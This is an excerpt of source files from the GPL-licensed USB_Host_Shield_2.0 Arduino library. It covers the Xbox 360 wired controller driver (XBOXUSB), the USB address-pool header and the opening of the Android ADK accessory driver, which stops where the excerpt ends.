bPollEnable; /* Variables to store the buttons */ uint32_t ButtonState[4]; uint32_t OldButtonState[4]; uint16_t ButtonClickState[4]; int16_t hatValue[4][4]; uint16_t controllerStatus[4]; bool buttonStateChanged[4]; // True if a button has changed bool L2Clicked[4]; // These buttons are analog, so we use we use these bools to check if they where clicked or not bool R2Clicked[4]; uint32_t checkStatusTimer; // Timing for checkStatus() signals uint8_t readBuf[EP_MAXPKTSIZE]; // General purpose buffer for input data uint8_t writeBuf[7]; // General purpose buffer for output data void readReport(uint8_t controller); // read incoming data void printReport(uint8_t controller, uint8_t nBytes); // print incoming date - Uncomment for debugging /* Private commands */ void XboxCommand(uint8_t controller, uint8_t* data, uint16_t nbytes); void checkStatus(); }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/XBOXUSB.cpp ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #include "XBOXUSB.h" // To enable serial debugging see "settings.h" //#define EXTRADEBUG // Uncomment to get even more debugging data //#define PRINTREPORT // Uncomment to print the report send by the Xbox 360 Controller XBOXUSB::XBOXUSB(USB *p) : pUsb(p), // pointer to USB class instance - mandatory bAddress(0), // device address - mandatory bPollEnable(false) { // don't start polling before dongle is connected for(uint8_t i = 0; i < XBOX_MAX_ENDPOINTS; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER; } if(pUsb) // register in USB subsystem pUsb->RegisterDeviceClass(this); //set devConfig[] entry } uint8_t XBOXUSB::Init(uint8_t parent, uint8_t port, bool lowspeed) { uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint16_t PID; uint16_t VID; // get memory address of USB device address pool AddressPool &addrPool = pUsb->GetAddressPool(); #ifdef EXTRADEBUG Notify(PSTR("\r\nXBOXUSB Init"), 0x80); #endif // check if address has already been assigned to an instance if(bAddress) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress in use"), 0x80); #endif return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; } // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress not found"), 0x80); #endif return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if(!p->epinfo) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nepinfo is null"), 0x80); #endif return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) goto FailGetDevDescr; VID = udd->idVendor; PID = udd->idProduct; if(VID != XBOX_VID && VID != MADCATZ_VID && VID != JOYTECH_VID && VID != GAMESTOP_VID) // Check VID goto FailUnknownDevice; if(PID == XBOX_WIRELESS_PID) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nYou have plugged in a wireless Xbox 360 controller - it doesn't support USB communication"), 0x80); #endif goto FailUnknownDevice; } else if(PID == XBOX_WIRELESS_RECEIVER_PID || PID == XBOX_WIRELESS_RECEIVER_THIRD_PARTY_PID) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nThis library only supports Xbox 360 controllers via USB"), 0x80); #endif goto FailUnknownDevice; } else if(PID != XBOX_WIRED_PID && PID != MADCATZ_WIRED_PID && PID != GAMESTOP_WIRED_PID && PID != AFTERGLOW_WIRED_PID && PID != JOYTECH_WIRED_PID) // Check PID goto FailUnknownDevice; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nsetAddr: "), 0x80); D_PrintHex (rcode, 0x80); #endif return rcode; } #ifdef EXTRADEBUG Notify(PSTR("\r\nAddr: "), 0x80); D_PrintHex (bAddress, 0x80); #endif //delay(300); // Spec says you should wait at least 200ms p->lowspeed = false; //get pointer to assigned address record p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; // Assign epInfo to epinfo pointer - only EP0 is known rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; /* The application will work in reduced host mode, so we can save program and data memory space. After verifying the VID we will use known values for the configuration values for device, interface, endpoints and HID for the XBOX360 Controllers */ /* Initialize data structures for endpoints of device */ epInfo[ XBOX_INPUT_PIPE ].epAddr = 0x01; // XBOX 360 report endpoint epInfo[ XBOX_INPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_INPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_INPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_INPUT_PIPE ].bmSndToggle = 0; epInfo[ XBOX_INPUT_PIPE ].bmRcvToggle = 0; epInfo[ XBOX_OUTPUT_PIPE ].epAddr = 0x02; // XBOX 360 output endpoint epInfo[ XBOX_OUTPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_OUTPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_OUTPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_OUTPUT_PIPE ].bmSndToggle = 0; epInfo[ XBOX_OUTPUT_PIPE ].bmRcvToggle = 0; rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo); if(rcode) goto FailSetDevTblEntry; delay(200); // Give time for address change rcode = pUsb->setConf(bAddress, epInfo[ XBOX_CONTROL_PIPE ].epAddr, 1); if(rcode) goto FailSetConfDescr; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXbox 360 Controller Connected\r\n"), 0x80); #endif onInit(); Xbox360Connected = true; bPollEnable = true; return 0; // Successful configuration /* Diagnostic messages */ FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); #endif goto Fail; FailUnknownDevice: #ifdef DEBUG_USB_HOST NotifyFailUnknownDevice(VID, PID); #endif rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; Fail: #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXbox 360 Init Failed, error code: "), 0x80); NotifyFail(rcode); #endif Release(); return rcode; } /* Performs a cleanup after failed Init() attempt */ uint8_t XBOXUSB::Release() { Xbox360Connected = false; pUsb->GetAddressPool().FreeAddress(bAddress); bAddress = 0; bPollEnable = false; return 0; } uint8_t XBOXUSB::Poll() { if(!bPollEnable) return 0; uint16_t BUFFER_SIZE = EP_MAXPKTSIZE; pUsb->inTransfer(bAddress, epInfo[ XBOX_INPUT_PIPE ].epAddr, &BUFFER_SIZE, readBuf); // input on endpoint 1 readReport(); #ifdef PRINTREPORT printReport(); // Uncomment "#define PRINTREPORT" to print the report send by the Xbox 360 Controller #endif return 0; } void XBOXUSB::readReport() { if(readBuf == NULL) return; if(readBuf[0] != 0x00 || readBuf[1] != 0x14) { // Check if it's the correct report - the controller also sends different status reports return; } ButtonState = (uint32_t)(readBuf[5] | ((uint16_t)readBuf[4] << 8) | ((uint32_t)readBuf[3] << 16) | ((uint32_t)readBuf[2] << 24)); hatValue[LeftHatX] = (int16_t)(((uint16_t)readBuf[7] << 8) | readBuf[6]); hatValue[LeftHatY] = (int16_t)(((uint16_t)readBuf[9] << 8) | readBuf[8]); hatValue[RightHatX] = (int16_t)(((uint16_t)readBuf[11] << 8) | readBuf[10]); hatValue[RightHatY] = (int16_t)(((uint16_t)readBuf[13] << 8) | readBuf[12]); //Notify(PSTR("\r\nButtonState"), 0x80); //PrintHex(ButtonState, 0x80); if(ButtonState != OldButtonState) { ButtonClickState = (ButtonState >> 16) & ((~OldButtonState) >> 16); // Update click state variable, but don't include the two trigger buttons L2 and R2 if(((uint8_t)OldButtonState) == 0 && ((uint8_t)ButtonState) != 0) // The L2 and R2 buttons are special as they are analog buttons R2Clicked = true; if((uint8_t)(OldButtonState >> 8) == 0 && (uint8_t)(ButtonState >> 8) != 0) L2Clicked = true; OldButtonState = ButtonState; } } void XBOXUSB::printReport() { //Uncomment "#define PRINTREPORT" to print the report send by the Xbox 360 Controller #ifdef PRINTREPORT if(readBuf == NULL) return; for(uint8_t i = 0; i < XBOX_REPORT_BUFFER_SIZE; i++) { D_PrintHex (readBuf[i], 0x80); Notify(PSTR(" "), 0x80); } Notify(PSTR("\r\n"), 0x80); #endif } uint8_t XBOXUSB::getButtonPress(ButtonEnum b) { if(b == L2) // These are analog buttons return (uint8_t)(ButtonState >> 8); else if(b == R2) return (uint8_t)ButtonState; return (bool)(ButtonState & ((uint32_t)pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]) << 16)); } bool XBOXUSB::getButtonClick(ButtonEnum b) { if(b == L2) { if(L2Clicked) { L2Clicked = false; return true; } return false; } else if(b == R2) { if(R2Clicked) { R2Clicked = false; return true; } return false; } uint16_t button = pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]); bool click = (ButtonClickState & button); ButtonClickState &= ~button; // clear "click" event return click; } int16_t XBOXUSB::getAnalogHat(AnalogHatEnum a) { return hatValue[a]; } /* Xbox Controller commands */ void XBOXUSB::XboxCommand(uint8_t* data, uint16_t nbytes) { //bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x00), Report Type (Output 0x02), interface (0x00), datalength, datalength, data) pUsb->ctrlReq(bAddress, epInfo[XBOX_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x00, 0x02, 0x00, nbytes, nbytes, data, NULL); } void XBOXUSB::setLedRaw(uint8_t value) { writeBuf[0] = 0x01; writeBuf[1] = 0x03; writeBuf[2] = value; XboxCommand(writeBuf, 3); } void XBOXUSB::setLedOn(LEDEnum led) { if(led == OFF) setLedRaw(0); else if(led != ALL) // All LEDs can't be on a the same time setLedRaw(pgm_read_byte(&XBOX_LEDS[(uint8_t)led]) + 4); } void XBOXUSB::setLedBlink(LEDEnum led) { setLedRaw(pgm_read_byte(&XBOX_LEDS[(uint8_t)led])); } void XBOXUSB::setLedMode(LEDModeEnum ledMode) { // This function is used to do some special LED stuff the controller supports setLedRaw((uint8_t)ledMode); } void XBOXUSB::setRumbleOn(uint8_t lValue, uint8_t rValue) { writeBuf[0] = 0x00; writeBuf[1] = 0x08; writeBuf[2] = 0x00; writeBuf[3] = lValue; // big weight writeBuf[4] = rValue; // small weight writeBuf[5] = 0x00; writeBuf[6] = 0x00; writeBuf[7] = 0x00; XboxCommand(writeBuf, 8); } void XBOXUSB::onInit() { if(pFuncOnInit) pFuncOnInit(); // Call the user function else setLedOn(static_cast(LED1)); } ================================================ FILE: libraries/USB_Host_Shield_2.0/XBOXUSB.h ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _xboxusb_h_ #define _xboxusb_h_ #include "Usb.h" #include "usbhid.h" #include "xboxEnums.h" /* Data Xbox 360 taken from descriptors */ #define EP_MAXPKTSIZE 32 // max size for data via USB /* Names we give to the 3 Xbox360 pipes */ #define XBOX_CONTROL_PIPE 0 #define XBOX_INPUT_PIPE 1 #define XBOX_OUTPUT_PIPE 2 // PID and VID of the different devices #define XBOX_VID 0x045E // Microsoft Corporation #define MADCATZ_VID 0x1BAD // For unofficial Mad Catz controllers #define JOYTECH_VID 0x162E // For unofficial Joytech controllers #define GAMESTOP_VID 0x0E6F // Gamestop controller #define XBOX_WIRED_PID 0x028E // Microsoft 360 Wired controller #define XBOX_WIRELESS_PID 0x028F // Wireless controller only support charging #define XBOX_WIRELESS_RECEIVER_PID 0x0719 // Microsoft Wireless Gaming Receiver #define XBOX_WIRELESS_RECEIVER_THIRD_PARTY_PID 0x0291 // Third party Wireless Gaming Receiver #define MADCATZ_WIRED_PID 0xF016 // Mad Catz wired controller #define JOYTECH_WIRED_PID 0xBEEF // For Joytech wired controller #define GAMESTOP_WIRED_PID 0x0401 // Gamestop wired controller #define AFTERGLOW_WIRED_PID 0x0213 // Afterglow wired controller - it uses the same VID as a Gamestop controller #define XBOX_REPORT_BUFFER_SIZE 14 // Size of the input report buffer #define XBOX_MAX_ENDPOINTS 3 /** This class implements support for a Xbox wired controller via USB. */ class XBOXUSB : public USBDeviceConfig { public: /** * Constructor for the XBOXUSB class. * @param pUsb Pointer to USB class instance. */ XBOXUSB(USB *pUsb); /** @name USBDeviceConfig implementation */ /** * Initialize the Xbox Controller. * @param parent Hub number. * @param port Port number on the hub. * @param lowspeed Speed of the device. * @return 0 on success. */ uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); /** * Release the USB device. * @return 0 on success. */ uint8_t Release(); /** * Poll the USB Input endpoins and run the state machines. * @return 0 on success. */ uint8_t Poll(); /** * Get the device address. * @return The device address. */ virtual uint8_t GetAddress() { return bAddress; }; /** * Used to check if the controller has been initialized. * @return True if it's ready. */ virtual bool isReady() { return bPollEnable; }; /** * Used by the USB core to check what this driver support. * @param vid The device's VID. * @param pid The device's PID. * @return Returns true if the device's VID and PID matches this driver. */ virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { return ((vid == XBOX_VID || vid == MADCATZ_VID || vid == JOYTECH_VID || vid == GAMESTOP_VID) && (pid == XBOX_WIRED_PID || pid == MADCATZ_WIRED_PID || pid == GAMESTOP_WIRED_PID || pid == AFTERGLOW_WIRED_PID || pid == JOYTECH_WIRED_PID)); }; /**@}*/ /** @name Xbox Controller functions */ /** * getButtonPress(ButtonEnum b) will return true as long as the button is held down. * * While getButtonClick(ButtonEnum b) will only return it once. * * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b), * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b). * @param b ::ButtonEnum to read. * @return getButtonClick(ButtonEnum b) will return a bool, while getButtonPress(ButtonEnum b) will return a byte if reading ::L2 or ::R2. */ uint8_t getButtonPress(ButtonEnum b); bool getButtonClick(ButtonEnum b); /**@}*/ /** @name Xbox Controller functions */ /** * Return the analog value from the joysticks on the controller. * @param a Either ::LeftHatX, ::LeftHatY, ::RightHatX or ::RightHatY. * @return Returns a signed 16-bit integer. */ int16_t getAnalogHat(AnalogHatEnum a); /** Turn rumble off and all the LEDs on the controller. */ void setAllOff() { setRumbleOn(0, 0); setLedRaw(0); }; /** Turn rumble off the controller. */ void setRumbleOff() { setRumbleOn(0, 0); }; /** * Turn rumble on. * @param lValue Left motor (big weight) inside the controller. * @param rValue Right motor (small weight) inside the controller. */ void setRumbleOn(uint8_t lValue, uint8_t rValue); /** * Set LED value. Without using the ::LEDEnum or ::LEDModeEnum. * @param value See: * setLedOff(), setLedOn(LEDEnum l), * setLedBlink(LEDEnum l), and setLedMode(LEDModeEnum lm). */ void setLedRaw(uint8_t value); /** Turn all LEDs off the controller. */ void setLedOff() { setLedRaw(0); }; /** * Turn on a LED by using ::LEDEnum. * @param l ::OFF, ::LED1, ::LED2, ::LED3 and ::LED4 is supported by the Xbox controller. */ void setLedOn(LEDEnum l); /** * Turn on a LED by using ::LEDEnum. * @param l ::ALL, ::LED1, ::LED2, ::LED3 and ::LED4 is supported by the Xbox controller. */ void setLedBlink(LEDEnum l); /** * Used to set special LED modes supported by the Xbox controller. * @param lm See ::LEDModeEnum. */ void setLedMode(LEDModeEnum lm); /** * Used to call your own function when the controller is successfully initialized. * @param funcOnInit Function to call. */ void attachOnInit(void (*funcOnInit)(void)) { pFuncOnInit = funcOnInit; }; /**@}*/ /** True if a Xbox 360 controller is connected. */ bool Xbox360Connected; protected: /** Pointer to USB class instance. */ USB *pUsb; /** Device address. */ uint8_t bAddress; /** Endpoint info structure. */ EpInfo epInfo[XBOX_MAX_ENDPOINTS]; private: /** * Called when the controller is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ void onInit(); void (*pFuncOnInit)(void); // Pointer to function called in onInit() bool bPollEnable; /* Variables to store the buttons */ uint32_t ButtonState; uint32_t OldButtonState; uint16_t ButtonClickState; int16_t hatValue[4]; uint16_t controllerStatus; bool L2Clicked; // These buttons are analog, so we use we use these bools to check if they where clicked or not bool R2Clicked; uint8_t readBuf[EP_MAXPKTSIZE]; // General purpose buffer for input data uint8_t writeBuf[8]; // General purpose buffer for output data void readReport(); // read incoming data void printReport(); // print incoming date - Uncomment for debugging /* Private commands */ void XboxCommand(uint8_t* data, uint16_t nbytes); }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/address.h ================================================ /* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Contact information ------------------- Circuits At Home, LTD Web : http://www.circuitsathome.com e-mail : support@circuitsathome.com */ #if !defined(_usb_h_) || defined(__ADDRESS_H__) #error "Never include address.h directly; include Usb.h instead" #else #define __ADDRESS_H__ /* NAK powers. To save space in endpoint data structure, amount of retries before giving up and returning 0x4 is stored in */ /* bmNakPower as a power of 2. The actual nak_limit is then calculated as nak_limit = ( 2^bmNakPower - 1) */ #define USB_NAK_MAX_POWER 15 //NAK binary order maximum value #define USB_NAK_DEFAULT 14 //default 32K-1 NAKs before giving up #define USB_NAK_NOWAIT 1 //Single NAK stops transfer #define USB_NAK_NONAK 0 //Do not count NAKs, stop retrying after USB Timeout struct EpInfo { uint8_t epAddr; // Endpoint address uint8_t maxPktSize; // Maximum packet size union { uint8_t epAttribs; struct { uint8_t bmSndToggle : 1; // Send toggle, when zero bmSNDTOG0, bmSNDTOG1 otherwise uint8_t bmRcvToggle : 1; // Send toggle, when zero bmRCVTOG0, bmRCVTOG1 otherwise uint8_t bmNakPower : 6; // Binary order for NAK_LIMIT value } __attribute__((packed)); }; } __attribute__((packed)); // 7 6 5 4 3 2 1 0 // --------------------------------- // | | H | P | P | P | A | A | A | // --------------------------------- // // H - if 1 the address is a hub address // P - parent hub address // A - device address / port number in case of hub // struct UsbDeviceAddress { union { struct { uint8_t bmAddress : 3; // device address/port number uint8_t bmParent : 3; // parent hub address uint8_t bmHub : 1; // hub flag uint8_t bmReserved : 1; // reserved, must be zero } __attribute__((packed)); uint8_t devAddress; }; } __attribute__((packed)); #define bmUSB_DEV_ADDR_ADDRESS 0x07 #define bmUSB_DEV_ADDR_PARENT 0x38 #define bmUSB_DEV_ADDR_HUB 0x40 struct UsbDevice { EpInfo *epinfo; // endpoint info pointer UsbDeviceAddress address; uint8_t epcount; // number of endpoints bool lowspeed; // indicates if a device is the low speed one // uint8_t devclass; // device class } __attribute__((packed)); class AddressPool { public: virtual UsbDevice* GetUsbDevicePtr(uint8_t addr) = 0; virtual uint8_t AllocAddress(uint8_t parent, bool is_hub = false, uint8_t port = 0) = 0; virtual void FreeAddress(uint8_t addr) = 0; }; typedef void (*UsbDeviceHandleFunc)(UsbDevice *pdev); #define ADDR_ERROR_INVALID_INDEX 0xFF #define ADDR_ERROR_INVALID_ADDRESS 0xFF template class AddressPoolImpl : public AddressPool { EpInfo dev0ep; //Endpoint data structure used during enumeration for uninitialized device uint8_t hubCounter; // hub counter is kept // in order to avoid hub address duplication UsbDevice thePool[MAX_DEVICES_ALLOWED]; // Initializes address pool entry void InitEntry(uint8_t index) { thePool[index].address.devAddress = 0; thePool[index].epcount = 1; thePool[index].lowspeed = 0; thePool[index].epinfo = &dev0ep; }; // Returns thePool index for a given address uint8_t FindAddressIndex(uint8_t address = 0) { for(uint8_t i = 1; i < MAX_DEVICES_ALLOWED; i++) { if(thePool[i].address.devAddress == address) return i; } return 0; }; // Returns thePool child index for a given parent uint8_t FindChildIndex(UsbDeviceAddress addr, uint8_t start = 1) { for(uint8_t i = (start < 1 || start >= MAX_DEVICES_ALLOWED) ? 1 : start; i < MAX_DEVICES_ALLOWED; i++) { if(thePool[i].address.bmParent == addr.bmAddress) return i; } return 0; }; // Frees address entry specified by index parameter void FreeAddressByIndex(uint8_t index) { // Zero field is reserved and should not be affected if(index == 0) return; UsbDeviceAddress uda = thePool[index].address; // If a hub was switched off all port addresses should be freed if(uda.bmHub == 1) { for(uint8_t i = 1; (i = FindChildIndex(uda, i));) FreeAddressByIndex(i); // If the hub had the last allocated address, hubCounter should be decremented if(hubCounter == uda.bmAddress) hubCounter--; } InitEntry(index); } // Initializes the whole address pool at once void InitAllAddresses() { for(uint8_t i = 1; i < MAX_DEVICES_ALLOWED; i++) InitEntry(i); hubCounter = 0; }; public: AddressPoolImpl() : hubCounter(0) { // Zero address is reserved InitEntry(0); thePool[0].address.devAddress = 0; thePool[0].epinfo = &dev0ep; dev0ep.epAddr = 0; dev0ep.maxPktSize = 8; dev0ep.bmSndToggle = 0; // Set DATA0/1 toggles to 0 dev0ep.bmRcvToggle = 0; dev0ep.bmNakPower = USB_NAK_MAX_POWER; InitAllAddresses(); }; // Returns a pointer to a specified address entry virtual UsbDevice* GetUsbDevicePtr(uint8_t addr) { if(!addr) return thePool; uint8_t index = FindAddressIndex(addr); return (!index) ? NULL : thePool + index; }; // Performs an operation specified by pfunc for each addressed device void ForEachUsbDevice(UsbDeviceHandleFunc pfunc) { if(!pfunc) return; for(uint8_t i = 1; i < MAX_DEVICES_ALLOWED; i++) if(thePool[i].address.devAddress) pfunc(thePool + i); }; // Allocates new address virtual uint8_t AllocAddress(uint8_t parent, bool is_hub = false, uint8_t port = 0) { /* if (parent != 0 && port == 0) USB_HOST_SERIAL.println("PRT:0"); */ UsbDeviceAddress _parent; _parent.devAddress = parent; if(_parent.bmReserved || port > 7) //if(parent > 127 || port > 7) return 0; if(is_hub && hubCounter == 7) return 0; // finds first empty address entry starting from one uint8_t index = FindAddressIndex(0); if(!index) // if empty entry is not found return 0; if(_parent.devAddress == 0) { if(is_hub) { thePool[index].address.devAddress = 0x41; hubCounter++; } else thePool[index].address.devAddress = 1; return thePool[index].address.devAddress; } UsbDeviceAddress addr; addr.devAddress = 0; // Ensure all bits are zero addr.bmParent = _parent.bmAddress; if(is_hub) { addr.bmHub = 1; addr.bmAddress = ++hubCounter; } else { addr.bmHub = 0; addr.bmAddress = port; } thePool[index].address = addr; /* USB_HOST_SERIAL.print("Addr:"); USB_HOST_SERIAL.print(addr.bmHub, HEX); USB_HOST_SERIAL.print("."); USB_HOST_SERIAL.print(addr.bmParent, HEX); USB_HOST_SERIAL.print("."); USB_HOST_SERIAL.println(addr.bmAddress, HEX); */ return thePool[index].address.devAddress; }; // Empties pool entry virtual void FreeAddress(uint8_t addr) { // if the root hub is disconnected all the addresses should be initialized if(addr == 0x41) { InitAllAddresses(); return; } uint8_t index = FindAddressIndex(addr); FreeAddressByIndex(index); }; // Returns number of hubs attached // It can be rather helpfull to find out if there are hubs attached than getting the exact number of hubs. //uint8_t GetNumHubs() //{ // return hubCounter; //}; //uint8_t GetNumDevices() //{ // uint8_t counter = 0; // for (uint8_t i=1; iRegisterDeviceClass(this); //set devConfig[] entry } } uint8_t ADK::ConfigureDevice(uint8_t parent, uint8_t port, bool lowspeed) { return Init(parent, port, lowspeed); // Just call Init. Yes, really! } /* Connection initialization of an Android phone */ uint8_t ADK::Init(uint8_t parent, uint8_t port, bool lowspeed) { uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; uint8_t num_of_conf; // number of configurations UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; // get memory address of USB device address pool AddressPool &addrPool = pUsb->GetAddressPool(); USBTRACE("\r\nADK Init"); // check if address has already been assigned to an instance if(bAddress) { USBTRACE("\r\nAddress in use"); return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; } // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) { USBTRACE("\r\nAddress not found"); return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if(!p->epinfo) { USBTRACE("epinfo is null\r\n"); return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) { goto FailGetDevDescr; } // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); // Extract Max Packet Size from device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; //USBTRACE2("setAddr:",rcode); return rcode; }//if (rcode... //USBTRACE2("\r\nAddr:", bAddress); // Spec says you should wait at least 200ms. //delay(300); p->lowspeed = false; //get pointer to assigned address record p = addrPool.GetUsbDevicePtr(bAddress); if(!p) { return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } p->lowspeed = lowspeed; // Assign epInfo to epinfo pointer - only EP0 is known rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) { goto FailSetDevTblEntry; } //check if ADK device is already in accessory mode; if yes, configure and exit if(udd->idVendor == ADK_VID && (udd->idProduct == ADK_PID || udd->idProduct == ADB_PID)) { USBTRACE("\r\nAcc.mode device detected"); /* go through configurations, find first bulk-IN, bulk-OUT EP, fill epInfo and quit */ num_of_conf = udd->bNumConfigurations; //USBTRACE2("\r\nNC:",num_of_conf); for(uint8_t i = 0; i < num_of_conf; i++) { ConfigDescParser < 0, 0, 0, 0 > confDescrParser(this); delay(1); rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); #if defined(XOOM) //added by Jaylen Scott Vanorden if(rcode) { USBTRACE2("\r\nGot 1st bad code for config: ", rcode); // Try once more rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); } #endif if(rcode) { goto FailGetConfDescr; } if(bNumEP > 2) { break; } } // for (uint8_t i=0; isetEpInfoEntry(bAddress, 3, epInfo); if(rcode) { goto FailSetDevTblEntry; } } // Set Configuration Value rcode = pUsb->setConf(bAddress, 0, bConfNum); if(rcode) { goto FailSetConfDescr; } /* print endpoint structure */ /* USBTRACE("\r\nEndpoint Structure:"); USBTRACE("\r\nEP0:"); USBTRACE2("\r\nAddr: ", epInfo[0].epAddr); USBTRACE2("\r\nMax.pkt.size: ", epInfo[0].maxPktSize); USBTRACE2("\r\nAttr: ", epInfo[0].epAttribs); USBTRACE("\r\nEpout:"); USBTRACE2("\r\nAddr: ", epInfo[epDataOutIndex].epAddr); USBTRACE2("\r\nMax.pkt.size: ", epInfo[epDataOutIndex].maxPktSize); USBTRACE2("\r\nAttr: ", epInfo[epDataOutIndex].epAttribs); USBTRACE("\r\nEpin:"); USBTRACE2("\r\nAddr: ", epInfo[epDataInIndex].epAddr); USBTRACE2("\r\nMax.pkt.size: ", epInfo[epDataInIndex].maxPktSize); USBTRACE2("\r\nAttr: ", epInfo[epDataInIndex].epAttribs); */ USBTRACE("\r\nConfiguration successful"); ready = true; return 0; //successful configuration }//if( buf->idVendor == ADK_VID... //probe device - get accessory protocol revision { uint16_t adkproto = -1; delay(1); rcode = getProto((uint8_t*) & adkproto); #if defined(XOOM) //added by Jaylen Scott Vanorden if(rcode) { USBTRACE2("\r\nGot 1st bad code for proto: ", rcode); // Try once more rcode = getProto((uint8_t*) & adkproto); } #endif 